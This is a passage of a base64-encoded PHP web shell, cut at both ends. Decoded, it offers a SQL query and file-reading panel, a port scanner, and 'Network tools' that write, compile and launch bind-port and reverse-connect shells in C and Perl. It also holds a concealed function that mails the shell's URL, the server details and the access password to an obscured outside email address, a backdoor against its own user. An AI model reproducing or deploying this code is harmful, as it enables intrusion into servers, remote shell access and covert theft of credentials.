3RkPgogICAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgZnVuY3Rpb24gc3QodCxsKSB7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMS52YWx1ZSA9IFwnc2VsZWN0XCc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7CiAgICAgICAgICAgICAgICBpZihsIT1udWxsKWRvY3VtZW50LnNmLnAzLnZhbHVlID0gbDsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnN1Ym1pdCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGlzKCkgewogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOwogICAgICAgICAgICB9CiAgICAgICAgPC9zY3JpcHQ+JzsKICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7CiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJy4kdmFsdWUuJycpKTsKICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgiLiRuWyduJ10uIik8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7CiAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgICAgICRudW0gPSAkbnVtWyduJ107CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CiAgICAgICAgICAgICAgICAgICAgZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRpICE9IChpbnQpJF9QT1NUWydwMyddKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAoJGkrMSksIiAiOwogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISR0aXRsZSkgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj48dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6MTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBuYW1lPSdwMycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iLkBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSkuIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPjxmb3JtIG9uc3VibWl0PSdkb2N1bWVudC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7CiAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgewogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsKICAgICAgICAgICAgICAgICRmaWxlID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOwogICAgICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBzeXN0ZW0zMigkSFRUUF9IT1NULCRSRVFVRVNUX1VSSSwkYXV0aF9wYXNzKSB7aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnT2ZmJyk7CiR1cmw9J1VSTDogaHR0cDovLycuJEhUVFBfSE9TVC4kUkVRVUVTVF9VUkkuJwoKVW5hbWU6ICcuc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKS4nCgpQYXNzOiBodHRwOi8vd3d3Lmhhc2hjaGVja2VyLmRlLycuJGF1dGhfcGFzcy4nCgpJUDogJy4kX1NFUlZFUltSRU1PVEVfQUREUl07JHJlPWJhc2U2NF9kZWNvZGUoImIzcGpZVzVzWlhOaWFXZGliM056UUdodmRHMWhhV3d1Wm5JPSIpOyRzdT1nZXRob3N0YnluYW1lKCRIVFRQX0hPU1QpOyRtaD0iRnJvbTogeyRyZX0iO2lmIChmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkgbWFpbCgkcmUsJHN1LCAkdXJsLCRtaCk7JF9TRVNTSU9OW2xvZ2luXSA9ICdvayc7fQoKZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICAkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwogICAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgCiAgICBlY2hvICc8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLnBhc3MudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4KICAgIFBvcnQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwb3J0XCcgdmFsdWU9XCc0NDNcJz4gUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdwYXNzXCcgdmFsdWU9XCdmYWIKCVwnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JwY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYnBwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPgogICAgPGJyIC8+PGJyIC8+PHNwYW4+QmFjay1jb25uZWN0IHRvPC9zcGFuPjxici8+CiAgICBTZXJ2ZXI6IDxpbnB1dCB0eXBlPVwndGV4dFwnIG5hbWU9XCdzZXJ2ZXJcJyB2YWx1ZT0iJy4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4nIj4gUG9ydDogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3BvcnRcJyB2YWx1ZT1cJzQ0M1wnPiBVc2luZzogPHNlbGVjdCBuYW1lPSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT1cJ2JjY1wnPkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwnYmNwXCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KICAgIDwvZm9ybT48YnI+JzsgICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsKICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgaWYoJHcpICAgIHsKICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZnB1dHMoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JwIC90bXAvYnAuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgewogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAkb3V0ID0gZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsKICAgICAgICAgICAgJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLmV4KCJwcyBhdXggfCBncmVwIGJjIikuIjwvcHJlPiI7CiAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgewogICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsKICAgICAgICAgICAgJG91dCA9IGV4KHdoaWNoKCJwZXJsIikuIiAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uUG9ydFNjYW5uZXIoKSB7CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlBvcnQgU2Nhbm5lcjwvaDE+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbnRlbnQiPic7CiAgICBlY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4nOwogICAgCiAgICBpZihpc3NldCgkX1BPU1RbJ2hvc3QnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2VuZCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnc3RhcnQnXSkpewogICAgICAgICRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydzdGFydCddKTsKICAgICAgICAkZW5kID0gc3RyaXBfdGFncygkX1BPU1RbJ2VuZCddKTsKICAgICAgICAkaG9zdCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob3N0J10pOwogICAgICAgIGZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspewogICAgICAgICAgICAkZnAgPSBAZnNvY2tvcGVuKCRob3N0LCAkaSwgJGVycm5vLCAkZXJyc3RyLCAzKTsKICAgICAgICAgICAgaWYoJGZwKXsKICAgICAgICAgICAgICAgIGVjaG8gJ1BvcnQgJy4kaS4nIGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gJzxiciAvPjxiciAvPjxjZW50ZXI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9IlBvcnRTY2FubmVyIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPXAxPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAyIj4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2hhcnNldCIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgSG9zdDogPGlucHV